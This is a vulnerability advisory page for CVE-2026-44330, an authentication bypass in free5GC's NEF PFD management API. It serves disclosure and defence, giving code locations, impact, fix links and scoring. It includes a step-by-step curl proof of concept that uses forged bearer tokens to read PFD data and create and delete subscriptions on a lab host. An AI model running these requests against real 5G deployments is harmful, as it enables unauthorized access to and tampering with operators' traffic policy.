Loading...
Skip to main content

CVE-2026-44330 — Vulnerability in github.com/free5gc/nef — CVE Details

CRITICAL

free5GC's NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions

Published May 8, 2026Updated June 25, 2026Source: osv

Summary

### Summary free5GC's NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, `nnef-pfdmanagement` IS declared in the runtime `ServiceList`, so this is the production-intended path that operators expect to be protected by `OAuth2 setting receive from NRF: true` -- and it is not. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, but the entire `nnef-pfdmanagement` route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:56` - Read routes exposed at `/applications` and `/applications/:appID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - Subscription routes exposed at `/subscriptions` and `/subscriptions/:subID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - `GET /applications` queries UDR for application PFD data: `NFs/nef/internal/sbi/processor/pfdf.go:19` - `GET /applications/:appID` queries UDR for an application PFD: `NFs/nef/internal/sbi/processor/pfdf.go:53` - `POST /subscriptions` only checks `notifyUri` is present, then stores the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:83` - `DELETE /subscriptions/:subID` removes the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:110` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions ``` 2. Seed one PFD application entry (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions ``` 3. READ PFD collection with forged token -> `200 OK` returns PFD data: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311' ``` 4. READ individual PFD with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311 ``` 5. CREATE PFD subscription with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions ``` 6. DELETE PFD subscription with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` NEF container logs (`docker logs nef`) show requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=... [INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/... [INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2] [INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions [INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1] [INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `nnef-pfdmanagement` SBI route group. This is the production-intended PFD service for NEF (declared in the runtime `ServiceList`), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen `notifyUri` endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation. The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23

Advisory Timeline

  • First published May 8, 2026 (157 days ago).
  • Last revised June 25, 2026 — 48 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/free5gc/nef
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-863
    Incorrect AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

Frequently Asked Questions

What is CVE-2026-44330?
free5GC's NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-44330?
CVE-2026-44330 affects github.com/free5gc/nef. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44330 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-rwww-x45w-p52w
GO-2026-5642

Related CVEs

  • CVE-2026-44329
    CRITICAL

    free5GC's SMF UPI management interface lacks auth middleware; unauthenticated topology read/write requests reach handlers

  • CVE-2026-44326
    CRITICAL

    free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions

  • CVE-2026-44315
    CRITICAL

    free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions

  • CVE-2026-44327
    CRITICAL

    free5GC's NEF nnef-oam route group is unauthenticated; no-token requests reach the OAM handler

  • CVE-2026-107806
    CRITICAL

    Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

  • CVE-2025-66719
    CRITICAL

    Free5gc NRF is vulnerable to scope validation bypass via maliciously crafted targetNF value

  • CVE-2026-68582
    CRITICAL

    Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)

  • CVE-2026-55068
    CRITICAL

    free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies